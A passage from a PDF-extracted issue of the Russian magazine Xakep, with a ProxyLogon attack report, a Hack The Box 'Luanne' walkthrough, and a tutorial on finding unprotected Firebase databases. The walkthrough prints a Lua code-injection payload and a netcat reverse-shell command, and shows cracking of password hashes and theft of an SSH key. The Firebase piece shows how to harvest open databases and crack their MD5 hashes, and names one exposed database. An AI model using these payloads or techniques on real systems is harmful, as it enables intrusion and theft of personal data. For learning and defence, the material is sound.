Behavior:Win32/Exmann.A;•
Backdoor:ASP/SecChecker.A;•
Backdoor:JS/Webshell;•
Trojan:JS/Chopper!dha;•
Behavior:Win32/DumpLsass.A!attk;•
Backdoor:HTML/TwoFaceVar.B.•

В целом вырисо выва лась сле дующая кар тина. Зло деи отправ ляли на сер вер
спе циаль ным  обра зом  сфор мирован ный  HTTP‐зап рос  и  бла года ря  уяз‐ 
вимос ти  CVE‐2021‐26855  авто ризо вались  на  сер вере.  Затем  с  помощью
осталь ных трех уяз вимос тей ата кующие залива ли на сер вер веб‐шелл в виде
фай ла  ,  который  запус кался  про цес сами    или 

. Эти скрип ты, имев шие в раз ных слу чаях взло ма раз ные име на, сох‐ 
ранялись  в  пап ку    и  запус кались  от  име ни  при виле гиро ван ной  сис‐ 
темной учет ной записи  . Получив веб‐шелл, ата кующие
получа ли дос туп к коман дной стро ке или кон соли PowerShell в кон тек сте про‐ 
цес са  ,  а  затем сох раняли на диск и запус кали полез ную наг рузку,
в качес тве которой выс тупали раз личные бэк доры, а так же широко извес тные
Cobalt  Strike  и BEACON. В  качес тве  пос ледне го шага  зло умыш ленни ки  уда‐ 
ляли за собой фай лы скрип тов.

.aspx w3wp.exe UMWorkerPro‐
cess.exe

%temp%
NT AUTHORITY\SYSTEM

w3wp.exe

Об щая схе ма ата ки на Exchange Server

ПОСЛЕДСТВИЯ
В Microsoft незамед литель но выпус тили зап латки для всех обна ружен ных уяз‐ 
вимос тей,  которые  хакеры  исполь зовали  для  атак  на  сер веры Microsoft  Ex‐
change.  Одна ко,  пос коль ку  уста нов ка  обновле ний  —  дело  не  мгно вен ное,
а информа ция о дырах в безопас ности Exchange Server быс тро раз летелась
по  все му  интерне ту,  поиск  и  взлом  неп ропат ченных  сер веров  вско ре  прев‐ 
ратил ся в подобие весело го спор тивно го сос тязания. Хакеры не толь ко кра ли
поль зователь ские дан ные, на ском про мети рован ные сер веры уста нав ливали
тро ян‐май нер DLTminer и дру гие вре донос ные прог раммы.

Сре ди пос тра дав ших ока зались такие орга низа ции, как 

. Мас ла  в  огонь  под лило  и  то  обсто ятель ство,  что
в  начале  мар та  незави симый  иссле дова тель  из  Вьет нама 

 рабочий proof‐of‐concept экс пло ита для это го набора уяз вимос тей.
Бук валь но на сле дующий день этот экс пло ит   с сай та, но 

  интернет,  как  извес тно,  пом нит  все,  что  однажды  ока залось  в  пуб‐ 
личном дос тупе.

Ев ропей ское бан‐ 
ков ское  управле ние, Минис терс тво  тру да  и  соци аль ных  дел  в  Чехии  и  поч‐ 
товые  отде ления  в Пра ге

опуб ликовал
на GitHub

был уда лен оса дочек
остался

Вско ре  к  май нерам  добавил ся  тро ян‐шиф роваль щик  DearCry,  который
хакеры начали запус кать на взло ман ных сер верах. В начале мар та 

  (в  Авс тра лии,  Авс трии,  Дании,  Канаде
и США), но затем их чис ло начало рас ти. К пер вому вымога телю 

,  шиф ровав ший  фай лы  на  сер вере  и  тре бовав ший
за дешиф ровку выкуп в раз мере 10 тысяч дол ларов.

пос тра дав‐ 
ших  ком паний  нас читыва лось  шсть

до бавил ся
энко дер  Black  Kingdom

Пос коль ку  положе ние  с  уяз вимос тями  ProxyLogon  выг лядит  серь езно
и  устра шающе,  кор порация  Microsoft  выпус тила  не  толь ко 

, но и 
.  Кро ме  того,  инже неры  Microsoft  под готови ли 

,  пред назна чен ный  для  про вер ки  сер веров  Exchange  на  наличие
веб‐шел лов и извес тных инди като ров ком про мета ции.

об новле ния
безопас ности для Exchange Server ис прав ления для ста рых вер сий Ex‐
change спе циаль ный  скрипт
PowerShell

Тем не менее кар тина по‐преж нему оста ется без радос тной. Сог ласно 
,  в  нас тоящий  момент  в  интерне те  работа ет

более 282 тысяч сер веров Microsoft Exchange, и мно гие из них по‐преж нему
оста ются  уяз вимыми.  До  тех  пор  пока  сис темные  адми нис тра торы  не  уста‐ 
новят  на  все  уяз вимые  сер веры  необ ходимый  набор  обновле ний,  взло мы,
ско рее  все го,  будут  про дол жать ся,  а  жур нал  «Хакер»  будет  радовать  сво их
читате лей  , свя зан ных с исполь зовани ем
зло умыш ленни ками ProxyLogon.

об‐ 
щедос тупным  дан ным

но вос тями об оче ред ных инци ден тах
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ВЗЛОМ

Се год ня мы раз берем тач ку под наз вани ем
Luanne  с  пло щад ки  ,  а  на  ее
при мере  я  покажу,  как  экс плу ати ровать
инъ екции  в  код  на  Lua,  обхо дить  дирек‐ 
тории  на  веб‐сер вере,  а  так же  как  выпол‐ 
нять  при виле гиро ван ные  коман ды  в  Net‐
BSD  без  исполь зования  sudo.  Уро вень
слож ности  —  Easy,  так  что  полез но  будет
в пер вую оче редь нович кам.

Hack  The  Box

WARNING

Под клю чать ся  к  машинам  с  HTB  рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока‐ 
жешь ся в общей сети с дру гими учас тни ками.

РАЗВЕДКА
Сканирование портов
IP‐адрес  машины  —  10.10.10.218,  сра зу  добав ляем  его  в 
для удобс тва.

/etc/hosts

. . .      .10 10 10 218 luanne htb

На чина ем  со  ска ниро вания  пор тов.  Я,  как  всег да,  исполь зую  неболь шой
скрипт,  который запус кает Nmap в два эта па: быс трое общее ска ниро вание
и затем на обна ружен ных пор тах — ска ниро вание со скрип тами.

#!/bin/bash
nmap    500   |         1 | 

     |  s/, /
ports=$( ‐p‐ ‐‐min‐rate= $1 grep ^[0‐9] | cut ‐d '/' ‐f
tr '\n' ',' sed  $/ )
nmap     ‐p$ports ‐A $1

Ре зуль тат работы скрип та

В резуль тате ска ниро вания мы узна ем о трех служ бах:
порт 22 — SSH;•
порт 80 — веб‐сер вер nginx 1.19.0;•
порт 9001 — асин хрон ный сокет‐сер вер Medusa 1.12.•

На SSH нам ловить нечего, так как единс твен ное, что там мож но сде лать, —
это  брут форсить  учет ные  дан ные.  Вмес то  это го  поп робу ем  поис кать  точ ку
вхо да  на  сай те.  Одна ко  и  на  80‐м,  и  на  9001‐м  пор тах  нас  ожи дает  HTTP‐
авто риза ция,  в  дан ном  слу чае  —  Basic.  Пос коль ку  никаких  учет ных  дан ных
у нас вна чале нет, это серь езная проб лема.

Еще  Nmap  показал  нам  наличие  фай ла  robots.txt  на  сер вере  nginx.  Этот
файл  нужен,  что бы  огра ничить  обход  сай та  поис ковыми  робота ми  (Google,
Яндекс и про чими). Иног да в нем мож но почер пнуть идеи для раз вития ата ки.

Перебор каталогов
Файл  robots.txt  сос тоит  из  набора  инс трук ций,  при  помощи  которых  мож но
задать  фай лы,  стра ницы  или  катало ги  сай та,  которые  не  будут  индекси‐ 
ровать ся поис ковыми движ ками. К при меру, сде лать так, что бы в резуль татах
поис ковых  сис тем  не  появ лялись  стра ницы  авто риза ции  адми нис тра торов
сай та, фай лы или пер сональ ная информа ция со стра ниц поль зовате лей. Но у
любой медали две сто роны: зло умыш ленни ки и пен тесте ры, конеч но же, сра‐ 
зу заг лядыва ют в этот файл, что бы узнать, что пря чут адми ны.

Наш  слу чай  не  исклю чение.  В  robots.txt  есть  дирек тория  .  Нап‐ 
рямую  ее  про честь  нель зя,  но  если  сде лать  перебор  по  сло варю,  то  мы
можем  нат кнуть ся  на  что‐то  инте рес ное.  Для  ска ниро вания  я  исполь зовал
ути литу  . В качес тве парамет ров ей нуж но передать спи сок для перебо ра
(опция  )  и  URL  (опция  ). Мес то  в  URL,  куда  будут  под став лять ся  сло ва
из спис ка, отме чает ся сло вом  .

weather

ffuf
‐w ‐u

FUZZ

 

 

ffuf ‐w /usr/share/wordlists/dirbuster/directory‐list‐lowercase‐2.3‐
medium.txt ‐u http://luanne.htb/weather/FUZZ/

Ре зуль тат ска ниро вания содер жимого катало га weather

Мы быс тро находим еще один каталог, который вер нул код 200, а это зна чит,
что он нам дос тупен.

ТОЧКА ВХОДА
На ходим  каталог    и  про буем  зай ти  туда  через  бра узер.  Стра ница
пус та, но если пос мотреть исходник отве та, то уви дим под сказ ку.

forecast

Со обще ние о тре бова нии переда чи парамет ра city

Тре бует ся  ука зать  параметр  ,  одно  из  зна чений  которо го  может  быть
.  Дела ем  соот ветс тву ющий  зап рос  и  получа ем  спи сок  городов  в  фор‐ 

мате JSON.

city
list

Обыч но  при  тес тирова нии  веб‐при ложе ний  сто ит  опре делить  три  реак ции
при ложе ния  на  поль зователь ский  зап рос:  успешно  обра ботан ный  зап рос,
неудач но  обра ботан ный  зап рос  и  ошиб ка  при  обра бот ке  зап роса.  Давай
выпол ним три зап роса:

зап рос валид ного города (город из спис ка);•
зап рос невалид ного города (город, которо го нет в спис ке);•
зап рос,  который  вызыва ет  ошиб ку  (исполь зует  раз ные  слу жеб ные  сим‐ 
волы, в дан ном слу чае — кавыч ку).

•

Зап рос города из спис ка

Зап рос города, которо го нет в спис ке

Вы зов ошиб ки отправ кой сим вола кавыч ки

В  пос леднем  слу чае  видим  ошиб ку  от  интер пре тато ра  язы ка  Lua:  attempt
to call a nil value. Это зна чит, что наш ввод был под став лен в скрипт без пред‐ 
варитель ной чис тки, а это откры вает воз можность для инъ екции кода.

ЗАКРЕПЛЕНИЕ
Lua  —  скрип товый  язык,  а  зна чит,  нефиль тро ван ные  встав ки  в  код  очень
опас ны. Мож но вмес то зна чения передать зак рыва ющую кавыч ку и любой код
на Lua — он будет выпол нен интер пре тато ром как род ной.

Да вай поп робу ем подоб ным обра зом зак рыть стро ку и добавить фун кцию
 из модуля os — она выпол няет любую коман ду опе раци онной сис‐ 

темы.  Даль ше  добавим  объ явле ние  перемен ной  и  откры вающую  кавыч ку,
что бы  зак рыва ющая  кавыч ка,  иду щая  в  коде  даль ше,  не  оста лась  без  пары
и  не  при вела  к  ошиб ке  исполне ния.  Вот  так,  к  при меру,  мож но  про читать
файл  :

execute

/etc/passwd

') os.execute("cat /etc/passwd") x=('

Пол ный зап рос, сде лан ный коман дой сurl, будет выг лядеть сле дующим обра‐ 
зом:

 

 

curl "http://luanne.htb/weather/forecast/?
city=London')%20os.execute("cat%20/etc/passwd")%20x%3D('"

Ре зуль тат встав ки кода

Так как коман ды успешно выпол няют ся, мы можем прос то выпол нить готовый
бэк шелл и получить воз можность управлять машиной.

os.execute("rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh ‐i 2>&1|nc [
ip] [port] >/tmp/r")

Этот код дол жен выз вать кон нект на ука зан ный адрес, нуж но лишь впи сать IP
и  порт. Но  преж де  чем  запус кать  эту  коман ду,  соз дадим  лис тенер,  который
будет при нимать это соеди нение. Я советую исполь зовать  , это удоб ная
обо лоч ка,  которая  в  чис ле  про чего  ведет  исто рию  команд.  В  качес тве  лис‐ 
тенера исполь зуем извес тный netcat.

rlwrap

 

 

apt install rlwrap 
rlwrap nc ‐lvp [port]

За коди руем нашу наг рузку в URL Encode и выпол ним зап рос. Поч ти момен‐ 
таль но в кон соли netcat получа ем сооб щение об обратном под клю чении.

 

 

curl "http://luanne.htb/weather/forecast/?
city=London')%20os%2Eexecute%28%22rm%20%2Ftmp%2Fr%3Bmkfifo%20%2Ftmp%2Fr%
3Bcat%20%2Ftmp%2Fr%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%2010%2E10%2E14%2
E108%204321%20%3E%2Ftmp%2Fr%22%29%20x%3D('"

По луче ние бэк шелла

Ко ман да    помога ет  нам  узнать,  что  мы  работа ем  в  кон тек сте  учет ной
записи служ бы  .

id
_httpd

ПРОДВИЖЕНИЕ
Сна чала  нем ного  про апгрей дим  свой шелл,  так  как  нам может  при годить ся
обо лоч ка TTY. Ее мож но получить с помощью име юще гося в целевой сис теме
интер пре тато ра Python 3.

 

 

python3 ‐c 'import pty; pty.spawn("/bin/sh")' 
/bin/bash

Дос туп  к  хос ту  есть,  но  для  даль нейше го  прод вижения  нам  нуж ны  учет ные
дан ные  поль зовате лей.  Не  беда —  нуж но  лишь  знать  мес та,  где  их  искать.
Одно  из  таких  мест  —  сер верная  часть  сай та.  Поч ти  у  всех  сай тов  есть
источник учет ных дан ных, в боль шинс тве слу чаев это БД. То есть ата кующий
получа ет  дос туп  к  базе  дан ных  и  извле кает  из  нее  име на  поль зовате лей
и хеши их паролей.

В  нашем  слу чае  исполь зует ся  аутен тифика ция  HTTP Basic,  а  это  зна чит,
что  какие‐то  учет ные  дан ные  получить  все  же  мож но.  Сна чала  про верим
наличие  фай ла    в  рабочей  дирек тории  веб‐сер вера,  этот  файл
содер жит имя и хеш пароля поль зовате ля.

.htpasswd

Файл .htpasswd

Сох раним хеш в файл и перебе рем его, к при меру, с помощью John The Rip‐
per. В парамет рах я  ука зываю сло варь с пароля ми и файл с  хешем.  «Джон»
сам  опре делит  алго ритм,  выпол нит  перебор  и  в  слу чае  успе ха  вер нет  нам
пароль.

 

 
john ‐‐wordlist=./tools/rockyou.txt web.hash

Ре зуль тат перебо ра пароля

С  этим  паролем  не  получа ется  авто ризо вать ся  как  поль зователь  сис темы,
поэто му  про дол жаем  искать.  Я  под метил,  что  домаш няя  поль зователь ская
дирек тория    дос тупна  для  чте ния  груп пе  ,  а  для
локаль ного хос та прос лушива ются TCP‐пор ты 3000 и 3001 (это мож но узнать
коман дой  ).

/home/r.michaels users

netstat ‐ant

Со дер жимое катало га /home/

Прос лушива емые TCP‐пор ты

Что бы  опре делить,  за  что  отве чают  эти  пор ты,  под клю чим ся  к  каж дому
с помощью netcat и пос мотрим, что нам вер нут.

 

 

nc 127.0.0.1 3000 
nc 127.0.0.1 3001

Под клю чение к пор там 3000 и 3001

Как видишь, эти пор ты отно сят ся к веб‐сер веру bozotic. Про верим, что он нам
даст пос мотреть в кор невом катало ге. Ответ на обо их пор тах оди нако вый —
тре бует ся HTTP‐авто риза ция (код 401).

 

 

curl 127.0.0.1:3000 
curl 127.0.0.1:3001

От вет сер вера при обра щении к кор невому катало гу

Но  у  нас  уже  есть  некото рые  учет ные  дан ные,  и  они  тоже  пред назна чены
для  HTTP‐авто риза ции.  Давай  поп робу ем  обра тить ся,  ука зав  их.  Для  это го
прос то добавим к вызову curl параметр  .‐‐user

 

 
curl ‐‐user webapi_user:iamthebest 127.0.0.1:3001

Ав ториза ция на веб‐сер вере

До воль но инте рес но, ведь такой ответ отли чает ся от того, что нам дос тупно
извне. Я поп робовал получить дос туп к домаш ней дирек тории поль зовате ля,
и тут меня ждал успех.

По луче ние спис ка фай лов в поль зователь ской дирек тории

Из всех его фай лов самый важ ный — при ват ный ключ SSH, который поз волит
нам авто ризо вать ся и получить управле ние через SSH.

По луче ние клю ча SSH

Ос талось сох ранить  ключ в файл, наз начить ему необ ходимые пра ва и под‐ 
клю чить ся от име ни ском про мети рован ного поль зовате ля.

 

 

chmod 0600 id_rsa 
ssh ‐i id_rsa r.michaels@luanne.htb

Флаг поль зовате ля

Пос ле при ветс твия NetBSD мы забира ем пер вый флаг.

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Даль ше никуда ходить не нуж но — сра зу в домаш ней дирек тории поль зовате‐ 
ля  находим  бэкап  с  рас ширени ем  .  Про читав  об  этой  цепоч ке
рас ширений,  я  при шел  к  выводу,  что  файл,  ско рее  все го,  зашиф рован
при  помощи  OpenSSL  или  netpgp.  В  пер вом  слу чае  тре бует ся  пароль,
а  netpgp исполь зует  при ват ный  ключ  поль зовате ля,  который  у  нас  уже есть.
Про буем рас шифро вать с помощью его:

.tar.gz.enc

 

 

netpgp ‐‐decrypt devel_backup‐2020‐09‐16.tar.gz.enc ‐‐
output=/tmp/out.tar.gz

Уда ча! Видим поль зователь ские фай лы.

Спи сок поль зователь ских фай лов и катало гов

Рас шифров ка фай ла с помощью netpgp

Пе ред  нами  копия  содер жимого  катало га  веб‐сер вера,  где  мы  находим
еще один файл  . Бру тим его точ но так же, как это делали нем ного
ранее.

.htpasswd

 

 
john ‐‐wordlist=./tools/rockyou.txt web2.hash

Ре зуль тат перебо ра пароля

Мы получа ем еще один пароль, с которым по логике таких заданий мы можем
идти  за  рутом.  Увы,  авто риза ция  через  SSH  обо рачи вает ся  неуда чей.  При‐ 
выч ный метод  сме ны  поль зовате ля  коман дой  su  так же  не  при носит  никаких
пло дов.

По пыт ка сме ны поль зовате ля с исполь зовани ем su

Од нако сек рет прост: в NetBSD нет при выч ного нам sudo, а для выпол нения
адми нис тра тив ных задач исполь зует ся ана лог — does. В качес тве парамет ра
переда дим ему файл обо лоч ки bash.

Ис поль зование does для повыше ния при виле гий

Пи шем   и узна ем, что мы работа ем в кон тек сте учет ной записи root. А это
зна чит, что машина зах вачена и у нас есть пол ный кон троль над ней.

id

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/ffuf/ffuf
https://github.com/hanslub42/rlwrap


ПЕШКОМ ПО

FIREBASE
НАХОДИМ ОТКРЫТЫЕ

БАЗЫ ДАННЫХ,
КОТОРЫЕ ПРЯЧЕТ GOOGLE

8bit
vegelin47@mail.ru

ВЗЛОМ

Об лачная база дан ных — шту ка удоб ная: счи тай, вся работа
по деп лою и нас трой ке сер вера за тебя уже сде лана, оста‐ 
лось  толь ко  поль зовать ся!  Адми нов  это  рас слаб ляет  нас‐ 
толь ко,  что  такие  базы  час то  оста ются  незащи щен ными
и ищут ся с помощью поис ковиков. Один нюанс — этим поис‐ 
ковиком не может быть Google!

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в  озна коми тель ных  целях.  Автор  и  редак ция
не  несут  ответс твен ности  за  любой  воз можный
вред,  при чинен ный  с  исполь зовани ем  све дений
из этой статьи.

Firebase — это облачная плат форма, которую раз работа ла ком пания Envolve
в 2011 году. Изна чаль но это была база дан ных для при ложе ний‐чатов, но поз‐ 
же  ее  полюби ли  раз работ чики  мно гополь зователь ских  онлай новых  игр.
Это  под вигло  осно вате лей  раз делить  Firebase  на  две  час ти:  модуль  чата
и модуль игро вого фрей мвор ка.

Два  года  спус тя,  в  2014  году,  Google  при обре ла  Firebase  и  про дол жила
раз вивать.  Прог рам мные  интерфей сы  для  этой  базы  дан ных  есть  для  мно‐ 
жес тва плат форм и язы ков прог рамми рова ния.

INFO

Под робнее  про  Firebase  —  в  статье  «

».

Стро им
мобиль ное при ложе ние на Firebase — бес плат ном
и мощ ном бэкен де Google

С тех ничес кой точ ки зре ния Firebase — кру тая и удоб ная шту ка. Кажет ся, что
ничего док ручивать и допили вать здесь не нуж но. Но безопас ная нас трой ка
облачной базе таки нуж на, и мно гие вла дель цы об этом забыва ют, черес чур
рас сла бив шись.  Нас толь ко,  что  забыва ют  о  прос тей шей  вещи  —  аутен‐ 
тифика ции.

ИЩЕМ ОТКРЫТЫЕ БАЗЫ ДАННЫХ
По луча ется,  что  в  интерне те мас са  не  зак рытых  паролем  баз  дан ных,  а  это
лег кая  добыча  для  зло умыш ленни ков.  Толь ко  вот  взять  и  нагуг лить  их
не получит ся, потому что в Google решили, что эту проб лему мож но решить,
прос то исклю чив эти базы из поис ковой выдачи. Лов ко! Но край не ненадеж‐ 
но.

По иск Google по зап росу Firebase

Нич то  не  меша ет  нам  вос поль зовать ся  дру гим  поис ковиком  —  нап ример,
 или  . Они выда ют уже нам ного боль ше полез ной информа‐ 

ции.
Bing DuckDuckGo

По иско вый зап рос в Bing и DuckDuckGo

Что  мож но  сде лать  даль ше,  пос ле  того  как  най дены  домены  с  уяз вимыми
базами?  Откры ваем  любую  ссыл ку  —  нап ример, 

.  Информа ция  о  ней  бес полез на,
но  если  убрать  из  ссыл ки  наз вание  таб лицы    и  оста вить  толь ко 

 то мож но про верить, защище на база или нет. В этом слу чае резуль тат
выг лядит вот так:

https://hacker‐news.
firebaseio.com/v0/topstories.json

topstories
,.json

{
 "error" : "Permission denied"

}

Все  вер но,  лич но  я  бы  знат но  уди вил ся,  если  бы  вла дель цы  это го  сай та
допус тили  нас толь ко  вопи ющую  оплошность.  Но  некото рые  ее  таки  допус‐ 
кают. Минут десять перебо ра ссы лок, и поиск увен чает ся успе хом.

Най ден ная откры тая база дан ных

Я нашел  что‐то более инте рес ное —  учет ки  с  хешами паролей. Выб рать  их
из фай ла нес ложно прос тым скрип том на Python или  .ути литой jq

При  помощи    опре деля ем  тип  хешей  (это  был  MD5)  и  загоня ем
в  .  Если  нет  дос таточ но  мощ ного  железа,  мож но  вос поль зовать ся
онлай новым сер висом — тул за   авто мати чес ки их под бира ет. Все
эти ути литы пре дус танов лены в Kali Linux.

HashID
hashcat

FindMyHash

Взлом пароля через FindMyHash

Ждем десять минут, и перед нами логины и пароли в откры том виде.

Най ден ная база с откры тыми пароля ми в откры том виде

АВТОМАТИЗАЦИЯ
Си деть,  менять  поис ковики  и  переби рать  все  URL  вруч ную  очень  нуд но.
Слиш ком  час то  видишь  «error  :  Permission  denied».  Зна чит,  пора  авто мати‐ 
зиро вать! Прог рамми ровать, прав да, не пот ребу ется, потому что это уже сде‐ 
лали до нас. Возь мем, к при меру,   за авторс твом Фран цеска Эрре ры.скрипт

Скрипт сам под бира ет URL и ищет уяз вимые базы дан ных.
Ка чаем его и уста нав лива ем зависи мос ти:

git clone https://github.com/Turr0n/firebase.git 
firebase cd 

pip     requirements.txt install ‐r

И запус каем:

 4    150 –dnsdumpster python3 firebase.py ‐p ‐c

Клю чи:
 — ука зыва ет количес тво потоков (по умол чанию 1, мак симум 4);• p

 — генери рует URL самос тоятель но;• dnsdumpster

 — какое количес тво доменов генери ровать.• с

Да,  скрипт  уме ет  генери ровать  ссыл ки  самос тоятель но.  Точ нее,  дела ет
это не сам, а обра щает ся за помощью к ути лите DNSdumpster.

Ре зуль тат работы скрип та

По резуль тату вид но, что из най ден ных баз:
37 урлов «битые» или боль ше не сущес тву ют;•
171 база име ет аутен тифика цию при обра щении к дан ным и защище на;•
од на база с подоз рени ем на уяз вимость;•
25 баз не защище ны или уяз вимы.•

Мож но  скор мить  скрип ту  и  свой  спи сок.  В  нем  дол жны  быть  толь ко  под‐ 
домены треть его уров ня. Нап ример, ты дела ешь вот такой вход ной спи сок:

xxx 
yyy 
zzz 

Тог да скрипт про верит вот эти URL:

https://xxx.firebaseio.com 
https://yyy.firebaseio.com 
https://zzz.firebaseio.com 

В поисках поддоменов
Что бы  получить  наибо лее  эффектив ный  спи сок,  мож но  вос поль зовать ся
скрип том  , который исполь зует раз ные тех ники поис ка и OSINT, что бы
подоб рать наибо лее прав доподоб ные вари анты.

sublist3r

За пус каем:

 firebaseio.com python3 sublist3r.py ‐d

И на выходе получа ем око ло 650 доменов. Работа ет очень быс тро.

По иск доменов прог раммой sublist3r

Еще одна ути лита для генера ции доменов —  . Она выдала мне в рай‐ 
оне 100 под доменов, но работа ла 30–40 минут.

subbrute

По иск под доменов прог раммой subbrute

,  на  который  я  воз лагал  боль шие  надеж ды,  выдал
все го семь доменов. К сло ву, и сам сер вис выдал нем ного — 25 урлов.
Censys‐subdomain‐finder

Все перечис ленные ути литы не вхо дят в сос тав дис три бути ва Kali Linux, их
приш лось качать отдель но.

Из  онлай новых  сер висов  мож но  вос поль зовать ся  , 
,  .

nmmapper DNSdump‐
ster Pentest‐Tools

Ес ли  все  еще  мало,  мож но  задей ство вать  зна ния  о  том,  что  нас трой ки
интегра ции  про исхо дят  в  фай ле  ,  и  поис кать  в  гите
зап росом  .  Этот  вари ант  идет
враз рез  со  сло вом  «авто мати зация»,  зато мож но докопать ся  до  уни каль ных
баз.

google‐services.json
site:github.com  google‐services.json

Ковыряем и дописываем скрипт
Те перь мы воору жены доб ротным набором урлов и зна ем, что какие‐то из них
могут  быть  уяз вимы. Даже можем  запус тить  скрипт  и  про верить  количес тво
невер но  нас тро енных  баз  из  нашего  спис ка.  Но  цель  в  таких  слу чаях  —
не  соб рать  ста тис тику,  а  получить  уяз вимые  цели.  Поэто му  откро ем  код
скрип та и слег ка поп равим.

Пос мотри вот на этот кусок кода:

   urls = set()
       with open(args_.list, 'r') as f:

   
     

[urls.add('https://{}.firebaseio.com/.json'.format(line.rstrip()))
for line in f]

Из  него  понят но,  как  фор миру ется  пол ный  адрес.  А  в  кон це  фор миру ется
отчет:

print('404 DBs:                 {}'.format(l['‐2']))
print('Secure DBs:              {}'.format(l['‐1']))
print('Possible vulnerable DBs: {}'.format(l['0']))
print('Vulnerable DBs:          {}'.format(l['1']))

Ку сок  кода  с  про вер кой  я  при водить  не буду.  Там  нет  ничего  любопыт ного,
мне нуж но было най ти само прис воение. И вот оно:

       with open(args_.fn, 'w') as f:
   json.dump(loot, f)
         l = {'1':0, '0':0, '‐1':0, '‐2':0}

     for result in loot:
     l[str(result['status'])] += 1

Вот  в  этом  мес те  я  соз даю  свой  мас сив  по  ста тусу  1.  Так  как  я  еще  не
понимаю,  чем его  запол нять,  записы ваю все под ряд. Получи лось при мер но
сле дующее:

         l = {'1':0, '0':0, '‐1':0, '‐2':0}
   Vulnerable = []

     for result in loot:
     l[str(result['status'])] += 1
       if str(result['status']) == '1':
   Vulnerable.append(result)

И в кон це добав ляю вывод резуль тата в кон соль:

print('404 DBs:                 {}'.format(l['‐2']))
print('Secure DBs:              {}'.format(l['‐1']))
print('Possible vulnerable DBs: {}'.format(l['0']))
print('Vulnerable DBs:          {}'.format(l['1']))
print(Vulnerable)

Пос ле запус ка вижу такую кар тину.

Ра бота прог раммы пос ле вме шатель ства

Мне высыпа лось все, что хра нилось в базах. Зато теперь я знаю, что записы‐ 
вать в Vulnerable. Пра вим код, как надо:

         l = {'1':0, '0':0, '‐1':0, '‐2':0}
   Vulnerable = []

     for result in loot:
     l[str(result['status'])] += 1
       if str(result['status']) == '1':
   Vulnerable.append(result['url'])
...
print('404 DBs:                 {}'.format(l['‐2']))
print('Secure DBs:              {}'.format(l['‐1']))
print('Possible vulnerable DBs: {}'.format(l['0']))
print('Vulnerable DBs:          {}'.format(l['1']))
print(Vulnerable)

На этот раз при запус ке видим то, что было нуж но, — спи сок уяз вимых баз.

Ра бота скрип та пос ле хирур гичес кого вме шатель ства

Осо бен но меня  заин тересо вала  вот  эта  ссыл ка: 
.  В  Малай зии  так  спе шили  отсле живать

переме щения боль ных ковидом, что не пос тавили пароль на базу дан ных с их
коор дината ми...

https://covid‐19‐track‐
er‐e76ca.firebaseio.com/.json

КАК НЕ ДОПУСТИТЬ УТЕЧКУ
Наз вать эту проб лему уяз вимостью — некото рое пре уве личе ние. Все сво дит‐ 
ся  к  тому,  что  Google  поз воля ет  открыть  дос туп  к  содер жимому  базы  всем
неав торизо ван ным поль зовате лям, и некото рые раз работ чики так и пос тупа‐ 
ют.

По это му,  что бы  защитить ся,  дос таточ но  про писать  полити ки  безопас‐ 
ности Firebase. Google пред лага ет при дер живать ся сле дующих пра вил.

Да же во вре мя раз работ ки (на тес те и на stage) не сто ит откры вать дос туп
ко  всем  дан ным  в  Firebase  неав торизо ван ным  поль зовате лям,  но  есть  воз‐ 
можность открыть их при авто риза ции:

  .  { service cloud firestore
   / /{ }/  { match databases database documents
     /{ =**} { match document

  ,  :    .  !=  ;      allow read write if request auth null
   } 
 } 
} 

Это  пра вило  необ ходимо,  ког да  нес коль ким  поль зовате лям  нуж но  работать
с одним кон тентом.

Сле дующее  пра вило  дает  дос туп  к  дан ным  толь ко  вла дель цам  этих  дан‐ 
ных. Осталь ные поль зовате ли не смо гут их видеть или обра баты вать:

  .  { service cloud firestore
   / /{ }/  { match databases database documents

            // Allow only authenticated content owners access
     / /{ }/{ =**} { match some_collection userId documents

  ,  :    .  !=  . .  
== 
     allow read write if request auth null && request auth uid
userId

   } 
 } 
} 

И третье пра вило уста нав лива ет дос туп на чте ние некото рых дан ных некото‐ 
рым поль зовате лям, но редак тирова ние — толь ко его вла дель цу:

  .  { service cloud firestore
   / /{ }/  { match databases database documents

  ‐     ,       ` `    // For attribute based access control Check a boolean admin
attribute
      :    (/ /$( )/ / /$(

. . )). .  ==  ; 
allow write if get databases database documents users

request auth uid data admin true
      :  ; allow read true

,    ‐   ,       
 

   // Alterntatively for role based access assign specific roles
to users
     / /{ } { match some_collection document

  :    (/ /$( )/ / /$(
. . )). .  == 

     allow read if get databases database documents users
request auth uid data role "Reader"

  :    (/ /$( )/ / /$(
. . )). .  == 

     allow write if get databases database documents users
request auth uid data role "Writer"
   } 
 } 
} 

Бо лее под робные све дения о   и 
 мож но най ти в докумен тации Firebase.

бе зопас ности аутен тифика ции кон тро ле дос‐ 
тупа

ЗАКЛЮЧЕНИЕ
Итак, мы рас смот рели, как про исхо дит утеч ка дан ных, разоб рались с поис ком
уяз вимых URL, научи лись авто мати зиро вать про цесс и  узна ли,  как избе жать
этой проб лемы.

В  докумен тации  по  безопас ности  Firebase  при веде ны  и  сами  пра вила,
и  раз ные  спо собы  защитить  дан ные.  Не  сто ит  ими  пре неб регать,  перек‐ 
ладывая ответс твен ность на какие‐нибудь гей ты или прок си‐сер веры. Адрес
базы может быть обна ружен.

mailto:vegelin47@mail.ru
https://xakep.ru/2017/03/13/firebase-backend/
https://www.bing.com/
https://duckduckgo.com/
https://stedolan.github.io/jq/
https://github.com/psypanda/hashID
https://hashcat.net/hashcat/
https://github.com/frdmn/findmyhash
https://github.com/Turr0n/firebase
https://github.com/aboul3la/Sublist3r
https://github.com/TheRook/subbrute
https://github.com/christophetd/censys-subdomain-finder
https://www.nmmapper.com/sys/tools/subdomainfinder/
https://dnsdumpster.com/
https://pentest-tools.com/information-gathering/find-subdomains-of-domain
https://firebase.google.com/docs/rules/rules-and-auth
https://firebase.google.com/docs/auth/admin/custom-claims
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ВЗЛОМ

MITRE ATT&CK — одна из популяр ней ших методо логий сре‐ 
ди спе циалис тов по информа цион ной безопас ности. В этой
статье мы рас ска жем,  как соз давалась и  как  устро ена база
зна ний, при помощи которой опи сыва ют воз можнос ти мал‐ 
вари,  сос тавля ют  про фили  APT‐груп пировок  и  пишут  пра‐ 
вила для авто мати зации рас сле дова ний.

